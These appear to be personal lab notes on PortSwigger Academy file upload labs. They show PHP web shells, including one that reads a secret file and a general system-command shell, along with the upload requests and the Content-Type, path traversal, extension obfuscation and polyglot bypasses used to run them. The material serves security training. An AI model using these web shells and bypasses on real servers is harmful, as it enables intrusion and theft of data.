PortSwigger: File upload vulnerabilities

PortSwigger Academy · Lab notes · 2024

Contents

File Upload Vulnerabilities

File upload vulnerabilities occur when web servers fail to validate

  • File name
  • size
  • contents
  • type or extension

If the server is not validating all of the above things, it can lead to remote code execution or overwriting of existing files as well.

Remote code execution via web shell upload

It could be possible that we are able to upload scripts on the web server but the server is configured to not execute any file. In that case achieving remote code execution can be difficult.

In the current lab we upload a profile picture from the account and we observe the following request is made on refresh to get the picture we just uploaded:

Request

GET /files/avatars/picturename.png HTTP/1.1
Host: 0a4500e703f9730a84b4867f003100ad.web-security-academy.net
Cookie: session=[redacted]
show 11 more headershide 11 headers
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a4500e703f9730a84b4867f003100ad.web-security-academy.net/my-account
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Priority: u=5, i
Te: trailers
Connection: keep-alive

We make an exploit.php with the following script:

<?php echo file_get_contents('/home/carlos/secret'); ?>

This led to the following request:

Request

GET /files/avatars/exploit.php HTTP/1.1
Host: 0a4500e703f9730a84b4867f003100ad.web-security-academy.net
Cookie: session=[redacted]
show 11 more headershide 11 headers
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a4500e703f9730a84b4867f003100ad.web-security-academy.net/my-account
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Priority: u=5, i
Te: trailers
Connection: keep-alive

# Response :

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
show 5 more headershide 5 headers
Date: Tue, 13 Aug 2024 05:56:06 GMT
Server: Apache/2.4.41 (Ubuntu)
Keep-Alive: timeout=5, max=100
Connection: close
Content-Length: 32

Mg7QQZyRONnI8piUh0YKPEFQIi4Rt6bP

We were able to fetch the secret. A more versatile web shell may look something like this:

<?php echo system($_GET['command']); ?>

This script enables you to pass an arbitrary system command via a query parameter as follows:

GET /example/exploit.php?command=id HTTP/1.1

Web shell upload via Content-Type restriction bypass

application/x-www-form-url-encoded: For sending simple HTML forms multipart/form-data: For sending large data like PDFs and images

In the current lab the file type is being validated solely on the basis of Content-Type header. We can bypass this restriction.

We were unable to upload the php script like we did in the above lab. So we had to upload the script and change the Content-Type header back to image/jpeg. This allowed us to bypass the restriction

# Original Request body

-----------------------------164166457611644244961394233847
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: text/php

<?php echo file_get_contents('/home/carlos/secret'); ?>
-----------------------------164166457611644244961394233847
Content-Disposition: form-data; name="user"

wiener
-----------------------------164166457611644244961394233847
Content-Disposition: form-data; name="csrf"

leQfCOJuZHpXJv9bIQs5Gf9oryJZe3Ix
-----------------------------164166457611644244961394233847--

# Modified request body


-----------------------------164166457611644244961394233847
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: image/jpeg

<?php echo file_get_contents('/home/carlos/secret'); ?>
-----------------------------164166457611644244961394233847
Content-Disposition: form-data; name="user"

wiener
-----------------------------164166457611644244961394233847
Content-Disposition: form-data; name="csrf"

leQfCOJuZHpXJv9bIQs5Gf9oryJZe3Ix
-----------------------------164166457611644244961394233847--


# Response from the server on Get request later

HTTP/1.1 200 OK
Date: Tue, 13 Aug 2024 06:09:30 GMT
Server: Apache/2.4.41 (Ubuntu)
Keep-Alive: timeout=5, max=100
Connection: close
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 32

LUMjILiOmSL2Q2vrWNVqPouvoTn2SD2q

Web shell upload via path traversal

Web servers are configured to only accept certain file types however if we bypass that restriction the second line of defense is where the server is configured not to execute scripts. Servers generally only run scripts whose MIME type they have been explicitly configured to execute.

These kinds of restrictions are usually applied on the directories where user controlled input is uploaded. But if we find a directory where the server is not expecting any user input based files, we might be able to execute scripts in such directories.

Initial request and response:

Request

GET /files/avatars/exploit.php HTTP/1.1
Host: 0a28009e040de909800f26cf001400fa.web-security-academy.net
Cookie: session=[redacted]
show 11 more headershide 11 headers
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a28009e040de909800f26cf001400fa.web-security-academy.net/my-account
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Priority: u=5, i
Te: trailers
Connection: keep-alive

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
X-Frame-Options: SAMEORIGIN
show 7 more headershide 7 headers
Date: Tue, 13 Aug 2024 06:21:59 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 13 Aug 2024 06:21:55 GMT
ETag: "37-61f8aa045a340"
Keep-Alive: timeout=5, max=100
Connection: close
Content-Length: 55

<?php echo file_get_contents('/home/carlos/secret'); ?>

The server is simply returning the contents of the php file instead of executing it.

-----------------------------69546747533144935391453654045
Content-Disposition: form-data; name="avatar"; filename="../exploit.php"
Content-Type: text/php

<?php echo file_get_contents('/home/carlos/secret'); ?>
-----------------------------69546747533144935391453654045
Content-Disposition: form-data; name="user"

wiener
-----------------------------69546747533144935391453654045
Content-Disposition: form-data; name="csrf"

w3B4fp2TcX27MLeZfxQ8lxlpyYmqKqDD
-----------------------------69546747533144935391453654045--

Response:

HTTP/1.1 200 OK
Date: Tue, 13 Aug 2024 06:23:03 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: close
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 132

The file avatars/exploit.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

This means the server is stripping away the directory traversal payload from the filename. We can try and URL encode it.

-----------------------------69546747533144935391453654045
Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php"
Content-Type: text/php

<?php echo file_get_contents('/home/carlos/secret'); ?>
-----------------------------69546747533144935391453654045
Content-Disposition: form-data; name="user"

wiener
-----------------------------69546747533144935391453654045
Content-Disposition: form-data; name="csrf"

w3B4fp2TcX27MLeZfxQ8lxlpyYmqKqDD
-----------------------------69546747533144935391453654045--


# response from server: 

The file avatars/../exploit.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Notice that directory traversal payload is not removed. We simply make a GET request to the upload resource now in order to execute it.

Request

GET /files/avatars/../exploit.php HTTP/1.1
Host: 0a28009e040de909800f26cf001400fa.web-security-academy.net
Cookie: session=[redacted]
show 11 more headershide 11 headers
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a28009e040de909800f26cf001400fa.web-security-academy.net/my-account
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Priority: u=5, i
Te: trailers
Connection: keep-alive

---

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
show 5 more headershide 5 headers
Date: Tue, 13 Aug 2024 06:33:59 GMT
Server: Apache/2.4.41 (Ubuntu)
Keep-Alive: timeout=5, max=100
Connection: close
Content-Length: 32

z73E03eA1kX2ETP9SPXvuIdm0gL6pSuw

Web shell upload via obfuscated file extension

We can bypass blacklists by the following methods

  • changing filename to exploit.pHp
  • exploit.php.jpg
  • exploit.php.
  • exploit%2Ephp
  • exploit.asp;.jpg
  • exploit.asp%00.jpg
  • exploit.p.phphp
-----------------------------218897616138370763250693900
Content-Disposition: form-data; name="avatar"; filename="exploit.php%00.jpg"
Content-Type: text/php

<?php echo file_get_contents('/home/carlos/secret'); ?>
-----------------------------218897616138370763250693900
Content-Disposition: form-data; name="user"

wiener
-----------------------------218897616138370763250693900
Content-Disposition: form-data; name="csrf"

vOC2b4AvQ58NXDAOVIvMJJAONXV7JOL8
-----------------------------218897616138370763250693900--


----

HTTP/1.1 200 OK
Date: Tue, 13 Aug 2024 06:52:41 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: close
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 132

The file avatars/exploit.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Request

GET /files/avatars/exploit.php HTTP/1.1
Host: 0a1100fc03680f228334797000d50062.web-security-academy.net
Cookie: session=[redacted]
show 11 more headershide 11 headers
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a1100fc03680f228334797000d50062.web-security-academy.net/my-account
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Priority: u=5, i
Te: trailers
Connection: keep-alive

----

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
show 5 more headershide 5 headers
Date: Tue, 13 Aug 2024 06:53:45 GMT
Server: Apache/2.4.41 (Ubuntu)
Keep-Alive: timeout=5, max=100
Connection: close
Content-Length: 32

97sAqyMPR0TCYFMBMoqMPmAVLdPZFsX3

Remote code execution via polyglot web shell upload

Some web servers verify the contents of the file as well, instead of solely relying on content type or file type validations.

In the case of an image upload function, the server might try to verify certain intrinsic properties of an image, such as its dimensions. If you try uploading a PHP script, for example, it won’t have any dimensions at all. Therefore, the server can deduce that it can’t possibly be an image, and reject the upload accordingly.

Similarly, certain file types may always contain a specific sequence of bytes in their header or footer. These can be used like a fingerprint or signature to determine whether the contents match the expected type. For example, JPEG files always begin with the bytes FF D8 FF.

Solution: Create a polyglot PHP/JPG file that is fundamentally a normal image, but contains your PHP payload in its metadata. A simple way of doing this is to download and run ExifTool from the command line as follows:

╭─me@host ~/Downloads
╰─$ exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" test.jpg -o polyglot.php
    1 image files created

Getting the file

GET /files/avatars/polyglot.php HTTP/1.1
Host: 0a2700f703e3e3728088be800009006e.web-security-academy.net
Cookie: session=[redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a2700f703e3e3728088be800009006e.web-security-academy.net/my-account/avatar
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

HTTP/1.1 200 OK
Date: Tue, 13 Aug 2024 07:07:02 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: close
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 7446
������
(��Ÿ��¸6curv�������Í��sf32�����B��Þÿÿó&��’��ý‘ÿÿû¢ÿÿý£��Ü��Àlÿþ�MSTART 5LkwxGEq3XjIpilUm9IihlrAcztTmlML ENDÿÛ�

Web shell upload via race condition

Modern frameworks are more battle-hardened against these kinds of attacks. They generally don’t upload files directly to their intended destination on the filesystem. Instead, they take precautions like uploading to a temporary, sandboxed directory first and randomizing the name to avoid overwriting existing files. They then perform validation on this temporary file and only transfer it to its destination once it is deemed safe to do so.

Developers sometimes implement their own file upload methods, this can introduce race condition vulnerabilities. For example consider a scenario where a file is uploaded on the main filesystem where it’s checked for viruses, if it’s malicious the file is removed. All of this happens in milliseconds that’s why it’s hard to find such vulnerabilities.

Due to the generous time window for this race condition, it is possible to solve this lab by manually sending two requests in quick succession using Burp Repeater. The solution described here teaches you a practical approach for exploiting similar vulnerabilities in the wild, where the window may only be a few milliseconds.

To solve this lab we simply send both the POST and GET request in the Repeater. Make them in a group. Then send both requests in parallel.